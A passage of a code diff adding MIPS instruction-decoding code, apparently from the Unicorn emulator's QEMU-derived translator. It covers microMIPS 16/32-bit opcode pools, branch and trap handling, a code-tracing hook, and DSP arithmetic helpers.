9) & 0x3; + switch ((ctx->opcode >> 6) & 0x7) { + case MOVF_FMT: + switch (fmt) { + case FMT_SDPS_S: + gen_movcf_s(ctx, rs, rt, cc, 0); + break; + case FMT_SDPS_D: + gen_movcf_d(ctx, rs, rt, cc, 0); + break; + case FMT_SDPS_PS: + gen_movcf_ps(ctx, rs, rt, cc, 0); + break; + default: + goto pool32f_invalid; + } + break; + case MOVT_FMT: + switch (fmt) { + case FMT_SDPS_S: + gen_movcf_s(ctx, rs, rt, cc, 1); + break; + case FMT_SDPS_D: + gen_movcf_d(ctx, rs, rt, cc, 1); + break; + case FMT_SDPS_PS: + gen_movcf_ps(ctx, rs, rt, cc, 1); + break; + default: + goto pool32f_invalid; + } + break; + case PREFX: + break; + default: + goto pool32f_invalid; + } + break; +#define FINSN_3ARG_SDPS(prfx) \ + switch ((ctx->opcode >> 8) & 0x3) { \ + case FMT_SDPS_S: \ + mips32_op = OPC_##prfx##_S; \ + goto do_fpop; \ + case FMT_SDPS_D: \ + mips32_op = OPC_##prfx##_D; \ + goto do_fpop; \ + case FMT_SDPS_PS: \ + mips32_op = OPC_##prfx##_PS; \ + goto do_fpop; \ + default: \ + goto pool32f_invalid; \ + } + case 0x30: + /* regular FP ops */ + switch ((ctx->opcode >> 6) & 0x3) { + case ADD_FMT: + FINSN_3ARG_SDPS(ADD); + break; + case SUB_FMT: + FINSN_3ARG_SDPS(SUB); + break; + case MUL_FMT: + FINSN_3ARG_SDPS(MUL); + break; + case DIV_FMT: + fmt = (ctx->opcode >> 8) & 0x3; + if (fmt == 1) { + mips32_op = OPC_DIV_D; + } else if (fmt == 0) { + mips32_op = OPC_DIV_S; + } else { + goto pool32f_invalid; + } + goto do_fpop; + default: + goto pool32f_invalid; + } + break; + case 0x38: + /* cmovs */ + switch ((ctx->opcode >> 6) & 0x3) { + case MOVN_FMT: + FINSN_3ARG_SDPS(MOVN); + break; + case MOVZ_FMT: + FINSN_3ARG_SDPS(MOVZ); + break; + default: + goto pool32f_invalid; + } + break; + do_fpop: + gen_farith(ctx, mips32_op, rt, rs, rd, 0); + break; + default: + pool32f_invalid: + MIPS_INVAL("pool32f"); + generate_exception(ctx, EXCP_RI); + break; + } + } else { + generate_exception_err(ctx, EXCP_CpU, 1); + } + break; + case POOL32I: + minor = (ctx->opcode >> 21) & 0x1f; + switch (minor) { + case BLTZ: + gen_compute_branch(ctx, OPC_BLTZ, 4, rs, -1, imm << 1, 4); + break; + case BLTZAL: + gen_compute_branch(ctx, OPC_BLTZAL, 4, rs, -1, imm << 1, 4); + ctx->hflags |= MIPS_HFLAG_BDS_STRICT; + break; + case BLTZALS: + gen_compute_branch(ctx, OPC_BLTZAL, 4, rs, -1, imm << 1, 2); + ctx->hflags |= MIPS_HFLAG_BDS_STRICT; + break; + case BGEZ: + gen_compute_branch(ctx, OPC_BGEZ, 4, rs, -1, imm << 1, 4); + break; + case BGEZAL: + gen_compute_branch(ctx, OPC_BGEZAL, 4, rs, -1, imm << 1, 4); + ctx->hflags |= MIPS_HFLAG_BDS_STRICT; + break; + case BGEZALS: + gen_compute_branch(ctx, OPC_BGEZAL, 4, rs, -1, imm << 1, 2); + ctx->hflags |= MIPS_HFLAG_BDS_STRICT; + break; + case BLEZ: + gen_compute_branch(ctx, OPC_BLEZ, 4, rs, -1, imm << 1, 4); + break; + case BGTZ: + gen_compute_branch(ctx, OPC_BGTZ, 4, rs, -1, imm << 1, 4); + break; + + /* Traps */ + case TLTI: + mips32_op = OPC_TLTI; + goto do_trapi; + case TGEI: + mips32_op = OPC_TGEI; + goto do_trapi; + case TLTIU: + mips32_op = OPC_TLTIU; + goto do_trapi; + case TGEIU: + mips32_op = OPC_TGEIU; + goto do_trapi; + case TNEI: + mips32_op = OPC_TNEI; + goto do_trapi; + case TEQI: + mips32_op = OPC_TEQI; + do_trapi: + gen_trap(ctx, mips32_op, rs, -1, imm); + break; + + case BNEZC: + case BEQZC: + gen_compute_branch(ctx, minor == BNEZC ? OPC_BNE : OPC_BEQ, + 4, rs, 0, imm << 1, 0); + /* Compact branches don't have a delay slot, so just let + the normal delay slot handling take us to the branch + target. */ + break; + case LUI: + gen_logic_imm(ctx, OPC_LUI, rs, -1, imm); + break; + case SYNCI: + /* Break the TB to be able to sync copied instructions + immediately */ + ctx->bstate = BS_STOP; + break; + case BC2F: + case BC2T: + /* COP2: Not implemented. */ + generate_exception_err(ctx, EXCP_CpU, 2); + break; + case BC1F: + mips32_op = (ctx->opcode & (1 << 16)) ? OPC_BC1FANY2 : OPC_BC1F; + goto do_cp1branch; + case BC1T: + mips32_op = (ctx->opcode & (1 << 16)) ? OPC_BC1TANY2 : OPC_BC1T; + goto do_cp1branch; + case BC1ANY4F: + mips32_op = OPC_BC1FANY4; + goto do_cp1mips3d; + case BC1ANY4T: + mips32_op = OPC_BC1TANY4; + do_cp1mips3d: + check_cop1x(ctx); + check_insn(ctx, ASE_MIPS3D); + /* Fall through */ + do_cp1branch: + if (env->CP0_Config1 & (1 << CP0C1_FP)) { + check_cp1_enabled(ctx); + gen_compute_branch1(ctx, mips32_op, + (ctx->opcode >> 18) & 0x7, imm << 1); + } else { + generate_exception_err(ctx, EXCP_CpU, 1); + } + break; + case BPOSGE64: + case BPOSGE32: + /* MIPS DSP: not implemented */ + /* Fall through */ + default: + MIPS_INVAL("pool32i"); + generate_exception(ctx, EXCP_RI); + break; + } + break; + case POOL32C: + minor = (ctx->opcode >> 12) & 0xf; + switch (minor) { + case LWL: + mips32_op = OPC_LWL; + goto do_ld_lr; + case SWL: + mips32_op = OPC_SWL; + goto do_st_lr; + case LWR: + mips32_op = OPC_LWR; + goto do_ld_lr; + case SWR: + mips32_op = OPC_SWR; + goto do_st_lr; +#if defined(TARGET_MIPS64) + case LDL: + mips32_op = OPC_LDL; + goto do_ld_lr; + case SDL: + mips32_op = OPC_SDL; + goto do_st_lr; + case LDR: + mips32_op = OPC_LDR; + goto do_ld_lr; + case SDR: + mips32_op = OPC_SDR; + goto do_st_lr; + case LWU: + mips32_op = OPC_LWU; + goto do_ld_lr; + case LLD: + mips32_op = OPC_LLD; + goto do_ld_lr; +#endif + case LL: + mips32_op = OPC_LL; + goto do_ld_lr; + do_ld_lr: + gen_ld(ctx, mips32_op, rt, rs, SIMM(ctx->opcode, 0, 12)); + break; + do_st_lr: + gen_st(ctx, mips32_op, rt, rs, SIMM(ctx->opcode, 0, 12)); + break; + case SC: + gen_st_cond(ctx, OPC_SC, rt, rs, SIMM(ctx->opcode, 0, 12)); + break; +#if defined(TARGET_MIPS64) + case SCD: + gen_st_cond(ctx, OPC_SCD, rt, rs, SIMM(ctx->opcode, 0, 12)); + break; +#endif + case PREF: + /* Treat as no-op */ + break; + default: + MIPS_INVAL("pool32c"); + generate_exception(ctx, EXCP_RI); + break; + } + break; + case ADDI32: + mips32_op = OPC_ADDI; + goto do_addi; + case ADDIU32: + mips32_op = OPC_ADDIU; + do_addi: + gen_arith_imm(ctx, mips32_op, rt, rs, imm); + break; + + /* Logical operations */ + case ORI32: + mips32_op = OPC_ORI; + goto do_logici; + case XORI32: + mips32_op = OPC_XORI; + goto do_logici; + case ANDI32: + mips32_op = OPC_ANDI; + do_logici: + gen_logic_imm(ctx, mips32_op, rt, rs, imm); + break; + + /* Set less than immediate */ + case SLTI32: + mips32_op = OPC_SLTI; + goto do_slti; + case SLTIU32: + mips32_op = OPC_SLTIU; + do_slti: + gen_slt_imm(ctx, mips32_op, rt, rs, imm); + break; + case JALX32: + offset = (int32_t)(ctx->opcode & 0x3FFFFFF) << 2; + gen_compute_branch(ctx, OPC_JALX, 4, rt, rs, offset, 4); + ctx->hflags |= MIPS_HFLAG_BDS_STRICT; + break; + case JALS32: + offset = (int32_t)(ctx->opcode & 0x3FFFFFF) << 1; + gen_compute_branch(ctx, OPC_JAL, 4, rt, rs, offset, 2); + ctx->hflags |= MIPS_HFLAG_BDS_STRICT; + break; + case BEQ32: + gen_compute_branch(ctx, OPC_BEQ, 4, rt, rs, imm << 1, 4); + break; + case BNE32: + gen_compute_branch(ctx, OPC_BNE, 4, rt, rs, imm << 1, 4); + break; + case J32: + gen_compute_branch(ctx, OPC_J, 4, rt, rs, + (int32_t)(ctx->opcode & 0x3FFFFFF) << 1, 4); + break; + case JAL32: + gen_compute_branch(ctx, OPC_JAL, 4, rt, rs, + (int32_t)(ctx->opcode & 0x3FFFFFF) << 1, 4); + ctx->hflags |= MIPS_HFLAG_BDS_STRICT; + break; + /* Floating point (COP1) */ + case LWC132: + mips32_op = OPC_LWC1; + goto do_cop1; + case LDC132: + mips32_op = OPC_LDC1; + goto do_cop1; + case SWC132: + mips32_op = OPC_SWC1; + goto do_cop1; + case SDC132: + mips32_op = OPC_SDC1; + do_cop1: + gen_cop1_ldst(ctx, mips32_op, rt, rs, imm); + break; + case ADDIUPC: + { + int reg = mmreg(ZIMM(ctx->opcode, 23, 3)); + int offset = SIMM(ctx->opcode, 0, 23) << 2; + + gen_addiupc(ctx, reg, offset, 0, 0); + } + break; + /* Loads and stores */ + case LB32: + mips32_op = OPC_LB; + goto do_ld; + case LBU32: + mips32_op = OPC_LBU; + goto do_ld; + case LH32: + mips32_op = OPC_LH; + goto do_ld; + case LHU32: + mips32_op = OPC_LHU; + goto do_ld; + case LW32: + mips32_op = OPC_LW; + goto do_ld; +#ifdef TARGET_MIPS64 + case LD32: + mips32_op = OPC_LD; + goto do_ld; + case SD32: + mips32_op = OPC_SD; + goto do_st; +#endif + case SB32: + mips32_op = OPC_SB; + goto do_st; + case SH32: + mips32_op = OPC_SH; + goto do_st; + case SW32: + mips32_op = OPC_SW; + goto do_st; + do_ld: + gen_ld(ctx, mips32_op, rt, rs, imm); + break; + do_st: + gen_st(ctx, mips32_op, rt, rs, imm); + break; + default: + generate_exception(ctx, EXCP_RI); + break; + } +} + +static int decode_micromips_opc (CPUMIPSState *env, DisasContext *ctx, bool *insn_need_patch) +{ + TCGContext *tcg_ctx = env->uc->tcg_ctx; + TCGv **cpu_gpr = (TCGv **)tcg_ctx->cpu_gpr; + uint32_t op; + + /* make sure instructions are on a halfword boundary */ + if (ctx->pc & 0x1) { + env->CP0_BadVAddr = ctx->pc; + generate_exception(ctx, EXCP_AdEL); + ctx->bstate = BS_STOP; + return 2; + } + + // Unicorn: trace this instruction on request + if (HOOK_EXISTS_BOUNDED(env->uc, UC_HOOK_CODE, ctx->pc)) { + gen_uc_tracecode(tcg_ctx, 0xf8f8f8f8, UC_HOOK_CODE_IDX, env->uc, ctx->pc); + *insn_need_patch = true; + // the callback might want to stop emulation immediately + check_exit_request(tcg_ctx); + } + + op = (ctx->opcode >> 10) & 0x3f; + /* Enforce properly-sized instructions in a delay slot */ + if (ctx->hflags & MIPS_HFLAG_BDS_STRICT) { + switch (op & 0x7) { /* MSB-3..MSB-5 */ + case 0: + /* POOL32A, POOL32B, POOL32I, POOL32C */ + case 4: + /* ADDI32, ADDIU32, ORI32, XORI32, SLTI32, SLTIU32, ANDI32, JALX32 */ + case 5: + /* LBU32, LHU32, POOL32F, JALS32, BEQ32, BNE32, J32, JAL32 */ + case 6: + /* SB32, SH32, ADDIUPC, SWC132, SDC132, SW32 */ + case 7: + /* LB32, LH32, LWC132, LDC132, LW32 */ + if (ctx->hflags & MIPS_HFLAG_BDS16) { + generate_exception(ctx, EXCP_RI); + /* Just stop translation; the user is confused. */ + ctx->bstate = BS_STOP; + return 2; + } + break; + case 1: + /* POOL16A, POOL16B, POOL16C, LWGP16, POOL16F */ + case 2: + /* LBU16, LHU16, LWSP16, LW16, SB16, SH16, SWSP16, SW16 */ + case 3: + /* MOVE16, ANDI16, POOL16D, POOL16E, BEQZ16, BNEZ16, B16, LI16 */ + if (ctx->hflags & MIPS_HFLAG_BDS32) { + generate_exception(ctx, EXCP_RI); + /* Just stop translation; the user is confused. */ + ctx->bstate = BS_STOP; + return 2; + } + break; + } + } + + switch (op) { + case POOL16A: + { + int rd = mmreg(uMIPS_RD(ctx->opcode)); + int rs1 = mmreg(uMIPS_RS1(ctx->opcode)); + int rs2 = mmreg(uMIPS_RS2(ctx->opcode)); + uint32_t opc = 0; + + switch (ctx->opcode & 0x1) { + case ADDU16: + opc = OPC_ADDU; + break; + case SUBU16: + opc = OPC_SUBU; + break; + } + + gen_arith(ctx, opc, rd, rs1, rs2); + } + break; + case POOL16B: + { + int rd = mmreg(uMIPS_RD(ctx->opcode)); + int rs = mmreg(uMIPS_RS(ctx->opcode)); + int amount = (ctx->opcode >> 1) & 0x7; + uint32_t opc = 0; + amount = amount == 0 ? 8 : amount; + + switch (ctx->opcode & 0x1) { + case SLL16: + opc = OPC_SLL; + break; + case SRL16: + opc = OPC_SRL; + break; + } + + gen_shift_imm(ctx, opc, rd, rs, amount); + } + break; + case POOL16C: + gen_pool16c_insn(ctx); + break; + case LWGP16: + { + int rd = mmreg(uMIPS_RD(ctx->opcode)); + int rb = 28; /* GP */ + int16_t offset = SIMM(ctx->opcode, 0, 7) << 2; + + gen_ld(ctx, OPC_LW, rd, rb, offset); + } + break; + case POOL16F: + if (ctx->opcode & 1) { + generate_exception(ctx, EXCP_RI); + } else { + /* MOVEP */ + int enc_dest = uMIPS_RD(ctx->opcode); + int enc_rt = uMIPS_RS2(ctx->opcode); + int enc_rs = uMIPS_RS1(ctx->opcode); + int rd, rs, re, rt; + static const int rd_enc[] = { 5, 5, 6, 4, 4, 4, 4, 4 }; + static const int re_enc[] = { 6, 7, 7, 21, 22, 5, 6, 7 }; + static const int rs_rt_enc[] = { 0, 17, 2, 3, 16, 18, 19, 20 }; + + rd = rd_enc[enc_dest]; + re = re_enc[enc_dest]; + rs = rs_rt_enc[enc_rs]; + rt = rs_rt_enc[enc_rt]; + + gen_arith_imm(ctx, OPC_ADDIU, rd, rs, 0); + gen_arith_imm(ctx, OPC_ADDIU, re, rt, 0); + } + break; + case LBU16: + { + int rd = mmreg(uMIPS_RD(ctx->opcode)); + int rb = mmreg(uMIPS_RS(ctx->opcode)); + int16_t offset = ZIMM(ctx->opcode, 0, 4); + offset = (offset == 0xf ? -1 : offset); + + gen_ld(ctx, OPC_LBU, rd, rb, offset); + } + break; + case LHU16: + { + int rd = mmreg(uMIPS_RD(ctx->opcode)); + int rb = mmreg(uMIPS_RS(ctx->opcode)); + int16_t offset = ZIMM(ctx->opcode, 0, 4) << 1; + + gen_ld(ctx, OPC_LHU, rd, rb, offset); + } + break; + case LWSP16: + { + int rd = (ctx->opcode >> 5) & 0x1f; + int rb = 29; /* SP */ + int16_t offset = ZIMM(ctx->opcode, 0, 5) << 2; + + gen_ld(ctx, OPC_LW, rd, rb, offset); + } + break; + case LW16: + { + int rd = mmreg(uMIPS_RD(ctx->opcode)); + int rb = mmreg(uMIPS_RS(ctx->opcode)); + int16_t offset = ZIMM(ctx->opcode, 0, 4) << 2; + + gen_ld(ctx, OPC_LW, rd, rb, offset); + } + break; + case SB16: + { + int rd = mmreg2(uMIPS_RD(ctx->opcode)); + int rb = mmreg(uMIPS_RS(ctx->opcode)); + int16_t offset = ZIMM(ctx->opcode, 0, 4); + + gen_st(ctx, OPC_SB, rd, rb, offset); + } + break; + case SH16: + { + int rd = mmreg2(uMIPS_RD(ctx->opcode)); + int rb = mmreg(uMIPS_RS(ctx->opcode)); + int16_t offset = ZIMM(ctx->opcode, 0, 4) << 1; + + gen_st(ctx, OPC_SH, rd, rb, offset); + } + break; + case SWSP16: + { + int rd = (ctx->opcode >> 5) & 0x1f; + int rb = 29; /* SP */ + int16_t offset = ZIMM(ctx->opcode, 0, 5) << 2; + + gen_st(ctx, OPC_SW, rd, rb, offset); + } + break; + case SW16: + { + int rd = mmreg2(uMIPS_RD(ctx->opcode)); + int rb = mmreg(uMIPS_RS(ctx->opcode)); + int16_t offset = ZIMM(ctx->opcode, 0, 4) << 2; + + gen_st(ctx, OPC_SW, rd, rb, offset); + } + break; + case MOVE16: + { + int rd = uMIPS_RD5(ctx->opcode); + int rs = uMIPS_RS5(ctx->opcode); + + gen_arith_imm(ctx, OPC_ADDIU, rd, rs, 0); + } + break; + case ANDI16: + gen_andi16(ctx); + break; + case POOL16D: + switch (ctx->opcode & 0x1) { + case ADDIUS5: + gen_addius5(ctx); + break; + case ADDIUSP: + gen_addiusp(ctx); + break; + } + break; + case POOL16E: + switch (ctx->opcode & 0x1) { + case ADDIUR2: + gen_addiur2(ctx); + break; + case ADDIUR1SP: + gen_addiur1sp(ctx); + break; + } + break; + case B16: + gen_compute_branch(ctx, OPC_BEQ, 2, 0, 0, + SIMM(ctx->opcode, 0, 10) << 1, 4); + break; + case BNEZ16: + case BEQZ16: + gen_compute_branch(ctx, op == BNEZ16 ? OPC_BNE : OPC_BEQ, 2, + mmreg(uMIPS_RD(ctx->opcode)), + 0, SIMM(ctx->opcode, 0, 7) << 1, 4); + break; + case LI16: + { + int reg = mmreg(uMIPS_RD(ctx->opcode)); + int imm = ZIMM(ctx->opcode, 0, 7); + + imm = (imm == 0x7f ? -1 : imm); + tcg_gen_movi_tl(tcg_ctx, *cpu_gpr[reg], imm); + } + break; + case RES_20: + case RES_28: + case RES_29: + case RES_30: + case RES_31: + case RES_38: + case RES_39: + generate_exception(ctx, EXCP_RI); + break; + default: + decode_micromips32_opc (env, ctx, op); + return 4; + } + + return 2; +} + +/* SmartMIPS extension to MIPS32 */ + +#if defined(TARGET_MIPS64) + +/* MDMX extension to MIPS64 */ + +#endif + +/* MIPSDSP functions. */ +static void gen_mipsdsp_ld(DisasContext *ctx, uint32_t opc, + int rd, int base, int offset) +{ + TCGContext *tcg_ctx = ctx->uc->tcg_ctx; + TCGv **cpu_gpr = (TCGv **)tcg_ctx->cpu_gpr; + const char *opn = "ldx"; + TCGv t0; + + check_dsp(ctx); + t0 = tcg_temp_new(tcg_ctx); + + if (base == 0) { + gen_load_gpr(ctx, t0, offset); + } else if (offset == 0) { + gen_load_gpr(ctx, t0, base); + } else { + gen_op_addr_add(ctx, t0, *cpu_gpr[base], *cpu_gpr[offset]); + } + + switch (opc) { + case OPC_LBUX: + tcg_gen_qemu_ld_tl(ctx->uc, t0, t0, ctx->mem_idx, MO_UB); + gen_store_gpr(tcg_ctx, t0, rd); + opn = "lbux"; + break; + case OPC_LHX: + tcg_gen_qemu_ld_tl(ctx->uc, t0, t0, ctx->mem_idx, MO_TESW); + gen_store_gpr(tcg_ctx, t0, rd); + opn = "lhx"; + break; + case OPC_LWX: + tcg_gen_qemu_ld_tl(ctx->uc, t0, t0, ctx->mem_idx, MO_TESL); + gen_store_gpr(tcg_ctx, t0, rd); + opn = "lwx"; + break; +#if defined(TARGET_MIPS64) + case OPC_LDX: + tcg_gen_qemu_ld_tl(ctx->uc, t0, t0, ctx->mem_idx, MO_TEQ); + gen_store_gpr(tcg_ctx, t0, rd); + opn = "ldx"; + break; +#endif + } + (void)opn; /* avoid a compiler warning */ + MIPS_DEBUG("%s %s, %s(%s)", opn, + regnames[rd], regnames[offset], regnames[base]); + tcg_temp_free(tcg_ctx, t0); +} + +static void gen_mipsdsp_arith(DisasContext *ctx, uint32_t op1, uint32_t op2, + int ret, int v1, int v2) +{ + TCGContext *tcg_ctx = ctx->uc->tcg_ctx; + TCGv **cpu_gpr = (TCGv **)tcg_ctx->cpu_gpr; + const char *opn = "mipsdsp arith"; + TCGv v1_t; + TCGv v2_t; + + if (ret == 0) { + /* Treat as NOP. */ + MIPS_DEBUG("NOP"); + return; + } + + v1_t = tcg_temp_new(tcg_ctx); + v2_t = tcg_temp_new(tcg_ctx); + + gen_load_gpr(ctx, v1_t, v1); + gen_load_gpr(ctx, v2_t, v2); + + switch (op1) { + /* OPC_MULT_G_2E is equal OPC_ADDUH_QB_DSP */ + case OPC_MULT_G_2E: + check_dspr2(ctx); + switch (op2) { + case OPC_ADDUH_QB: + gen_helper_adduh_qb(tcg_ctx, *cpu_gpr[ret], v1_t, v2_t); + break; + case OPC_ADDUH_R_QB: + gen_helper_adduh_r_qb(tcg_ctx, *cpu_gpr[ret], v1_t, v2_t); + break; + case OPC_ADDQH_PH: + gen_helper_addqh_ph(tcg_ctx, *cpu_gpr[ret], v1_t, v2_t); + break; + case OPC_ADDQH_R_PH: + gen_helper_addqh_r_ph(tcg_ctx, *cpu_gpr[ret], v1_t, v2_t); + break; + case OPC_ADDQH_W: + gen_helper_addqh_w(tcg_ctx, *cpu_gpr[ret], v1_t, v2_t); + break; + case OPC_ADDQH_R_W: + gen_helper_addqh_r_w(tcg_ctx, *cpu_gpr[ret], v1_t, v2_t); + break; + case OPC_SUBUH_QB: + gen_helper_subuh_qb(tcg_ctx, *cpu_gpr[ret], v1_t, v2_t); + break; + case OPC_SUBUH_R_QB: + gen_helper_subuh_r_qb(tcg_ctx, *cpu_gpr[ret], v1_t, v2_t); + break; + case OPC_SUBQH_PH: + gen_helper_subqh_ph(tcg_ctx, *cpu_gpr[ret], v1_t, v2_t); + break; + case OPC_SUBQH_R_PH: + gen_helper_subqh_r_ph(tcg_ctx, *cpu_gpr[ret], v1_t, v2_t); + break; + case OPC_SUBQH_W: + gen_helper_subqh_w(tcg_ctx, *cpu_gpr[ret], v1_t, v2_t); + break; + case OPC_SUBQH_R_W: + gen_helper_subqh_r_w(tcg_ctx, *cpu_gpr[ret], v1_t, v2_t); + break; + } + break; + case OPC_ABSQ_S_PH_DSP: + switch (op2) { + case OPC_ABSQ_S_QB: + check_dspr2(ctx); + gen_helper_absq_s_qb(tcg_ctx, *cpu_gpr[ret], v2_t, tcg_ctx->cpu_env); + break; + case OPC_ABSQ_S_PH: + check_dsp(ctx); + gen_helper_absq_s_ph(tcg_ctx, *cpu_gpr[ret], v2_t, tcg_ctx->cpu_env); + break; + case OPC_ABSQ_S_W: + check_dsp(ctx); + gen_helper_absq_s_w(tcg_ctx, *cpu_gpr[ret], v2_t, tcg_ctx->cpu_env); + break; + case OPC_PRECEQ_W_PHL: + check_dsp(ctx); + tcg_gen_andi_tl(tcg_ctx, *cpu_gpr[ret], v2_t, 0xFFFF0000); + tcg_gen_ext32s_tl(tcg_ctx, *cpu_gpr[ret], *cpu_gpr[ret]); + break; + case OPC_PRECEQ_W_PHR: + check_dsp(ctx); + tcg_gen_andi_tl(tcg_ctx, *cpu_gpr[ret], v2_t, 0x0000FFFF); + tcg_gen_shli_tl(tcg_ctx, *cpu_gpr[ret], *cpu_gpr[ret], 16); + tcg_gen_ext32s_tl(tcg_ctx, *cpu_gpr[ret], *cpu_gpr[ret]); + break; + case OPC_PRECEQU_PH_QBL: + check_dsp(ctx); + gen_helper_precequ_ph_qbl(tcg_ctx, *cpu_gpr[ret], v2_t); + break; + case OPC_PRECEQU_PH_QBR: + check_dsp(ctx); + gen_helper_precequ_ph_qbr(tcg_ctx, *cpu_gpr[ret], v2_t); + break; + case OPC_PRECEQU_PH_QBLA: + check_dsp(ctx); + gen_helper_precequ_ph_qbla(tcg_ctx, *cpu_gpr[ret], v2_t); + break; + case OPC_PRECEQU_PH_QBRA: + check_dsp(ctx); + gen_helper_precequ_ph_qbra(tcg_ctx, *cpu_gpr[ret], v2_t); + break; + case OPC_PRECEU_PH_QBL: + check_dsp(ctx); + gen_helper_preceu_ph_qbl(tcg_ctx, *cpu_gpr[ret], v2_t); + break; + case OPC_PRECEU_PH_QBR: + check_dsp(ctx); + gen_helper_preceu_ph_qbr(tcg_ctx, *cpu_gpr[ret], v2_t); + break; + case OPC_PRECEU_PH_QBLA: + check_dsp(ctx); + gen_helper_preceu_ph_qbla(tcg_ctx, *cpu_gpr[ret], v2_t); + break; + case OPC_PRECEU_PH_QBRA: + check_dsp(ctx); + gen_helper_preceu_ph_qbra(tcg_ctx, *cpu_gpr[ret], v2_t); + break; + } + break; + case OPC_ADDU_QB_DSP: + switch (op2) { + case OPC_ADDQ_PH: + check_dsp(ctx); + gen_helper_addq_ph(tcg_ctx, *cpu_gpr[ret], v1_t, v2_t, tcg_ctx->cpu_env); + break; + case OPC_ADDQ_S_PH: + check_dsp(ctx); + gen_helper_addq_s_ph(tcg_ctx, *cpu_gpr[ret], v1_t, v2_t, tcg_ctx->cpu_env); + break; + case OPC_ADDQ_S_W: + check_dsp(ctx); + gen_helper_addq_s_w(tcg_ctx, *cpu_gpr[ret], v1_t, v2_t, tcg_ctx->cpu_env); + break; + case OPC_ADDU_QB: + check_dsp(ctx); + gen_helper_addu_qb(tcg_ctx, *cpu_gpr[ret], v1_t, v2_t, tcg_ctx->cpu_env); + break; + case OPC_ADDU_S_QB: + check_dsp(ctx); + gen_helper_addu_s_qb(tcg_ctx, *cpu_gpr[ret], v1_t, v2_t, tcg_ctx->cpu_env); + break; + case OPC_ADDU_PH: + check_dspr2(ctx); + gen_helper_addu_ph(tcg_ctx, *cpu_gpr[ret], v1_t, v2_t, tcg_ctx->cpu_env); + break; + case OPC_ADDU_S_PH: + check_dspr2(ctx); + gen_helper_addu_s_ph(tcg_ctx, *cpu_gpr[ret], v1_t, v2_t, tcg_ctx->cpu_env); + break; + case OPC_SUBQ_PH: + check_dsp(ctx); + gen_helper_subq_ph(tcg_ctx, *cpu_gpr[ret], v1_t, v2_t, tcg_ctx->cpu_env); + break; + case OPC_SUBQ_S_PH: + check_dsp(ctx); + gen_helper_subq_s_ph(tcg_ctx, *cpu_gpr[ret], v1_t, v2_t, tcg_ctx->cpu_env); + break; + case OPC_SUBQ_S_W: + check_dsp(ctx); + gen_helper_subq_s_w(tcg_ctx, *cpu_gpr[ret], v1_t, v2_t, tcg_ctx->cpu_env); + break; + case OPC_SUBU_QB: + check_dsp(ctx); + gen_helper_subu_qb(tcg_ctx, *cpu_gpr[ret], v1_t, v2_t, tcg_ctx->cpu_env); + break; + case OPC_SUBU_S_QB: + check_dsp(ctx); + gen_helper_subu_s_qb(tcg_ctx, *cpu_gpr[ret], v1_t, v2_t, tcg_ctx->cpu_env); + break; + case OPC_SUBU_PH: + check_dspr2(ctx); + gen_helper_subu_ph(tcg_ctx, *cpu_gpr[ret], v1_t, v2_t, tcg_ctx->cpu_env); + break; + case OPC_SUBU_S_PH: + check_dspr2(ctx); + gen_helper_subu_s_ph(tcg_ctx, *cpu_gpr[ret], v1_t, v2_t, tcg_ctx->cpu_env); + break; + case OPC_ADDSC: + check_dsp(ctx); + gen_helper_addsc(tcg_ctx, *cpu_gpr[ret], v1_t, v2_t, tcg_ctx->cpu_env); + break; + case OPC_ADDWC: + check_dsp(ctx); + gen_helper_addwc(tcg_ctx, *cpu_gpr[ret], v1_t, v2_t, tcg_ctx->cpu_env); + break; + case OPC_MODSUB: + check_dsp(ctx); + gen_helper_modsub(tcg_ctx, *cpu_gpr[ret], v1_t, v2_t); + break; + case OPC_RADDU_W_QB: + check_dsp(ctx); + gen_helper_raddu_w_qb(tcg_ctx, *cpu_gpr[ret], v1_t); + break; + } + break; + case OPC_CMPU_EQ_QB_DSP: + switch (op2) { + case OPC_PRECR_QB_PH: + check_dspr2(ctx); + gen_helper_precr_qb_ph(tcg_ctx, *cpu_gpr[ret], v1_t, v2_t); + break; + case OPC_PRECRQ_QB_PH: + check_dsp(ctx); + gen_helper_precrq_qb_ph(tcg_ctx, *cpu_gpr[ret], v1_t, v2_t); + break; + case OPC_PRECR_SRA_PH_W: + check_dspr2(ctx); + { + TCGv_i32 sa_t = tcg_const_i32(tcg_ctx, v2); + gen_helper_precr_sra_ph_w(tcg_ctx, *cpu_gpr[ret], sa_t, v1_t, + *cpu_gpr[ret]); + tcg_temp_free_i32(tcg_ctx, sa_t); + break; + } + case OPC_PRECR_SRA_R_PH_W: + check_dspr2(ctx); + { + TCGv_i32 sa_t = tcg_const_i32(tcg_ctx, v2); + gen_helper_precr_sra_r_ph_w(tcg_ctx, *cpu_gpr[ret], sa_t, v1_t, + *cpu_gpr[ret]); + tcg_temp_free_i32(tcg_ctx, sa_t); + break; + } + case OPC_PRECRQ_PH_W: + check_dsp(ctx); + gen_helper_precrq_ph_w(tcg_ctx, *cpu_gpr[ret], v1_t, v2_t); + break; + case OPC_PRECRQ_RS_PH_W: + check_dsp(ctx); + gen_helper_precrq_rs_ph_w(tcg_ctx, *cpu_gpr[ret], v1_t, v2_t, tcg_ctx->cpu_env); + break; + case OPC_PRECRQU_S_QB_PH: + check_dsp(ctx); + gen_helper_precrqu_s_qb_ph(tcg_ctx, *cpu_gpr[ret], v1_t, v2_t, tcg_ctx->cpu_env); + break; + } + break; +#ifdef TARGET_MIPS64 + case OPC_ABSQ_S_QH_DSP: + switch (op2) { + case OPC_PRECEQ_L_PWL: + check_dsp(ctx); + tcg_gen_andi_tl(tcg_ctx, *cpu_gpr[ret], v2_t, 0xFFFFFFFF00000000ull); + break; + case OPC_PRECEQ_L_PWR: + check_dsp(ctx); + tcg_gen_shli_tl(tcg_ctx, *cpu_gpr[ret], v2_t, 32); + break; + case OPC_PRECEQ_PW_QHL: + check_dsp(ctx); + gen_helper_preceq_pw_qhl(tcg_ctx, *cpu_gpr[ret], v2_t); + break; + case OPC_PRECEQ_PW_QHR: + check_dsp(ctx); + gen_helper_preceq_pw_qhr(tcg_ctx, *cpu_gpr[ret], v2_t); + break; + case OPC_PRECEQ_PW_QHLA: + check_dsp(ctx); + gen_helper_preceq_pw_qhla(tcg_ctx, *cpu_gpr[ret], v2_t); + break; + case OPC_PRECEQ_PW_QHRA: + check_dsp(ctx); + gen_helper_preceq_pw_qhra(tcg_ctx, *cpu_gpr[ret], v2_t); + break; + case OPC_PRECEQU_QH_OBL: + check_dsp(ctx); + gen_helper_precequ_qh_obl(tcg_ctx, *cpu_gpr[ret], v2_t); + break; + case OPC_PRECEQU_QH_OBR: + check_dsp(ctx); + gen_helper_precequ_qh_obr(tcg_ctx, *cpu_gpr[ret], v2_t); + break; + case OPC_PRECEQU_QH_OBLA: + 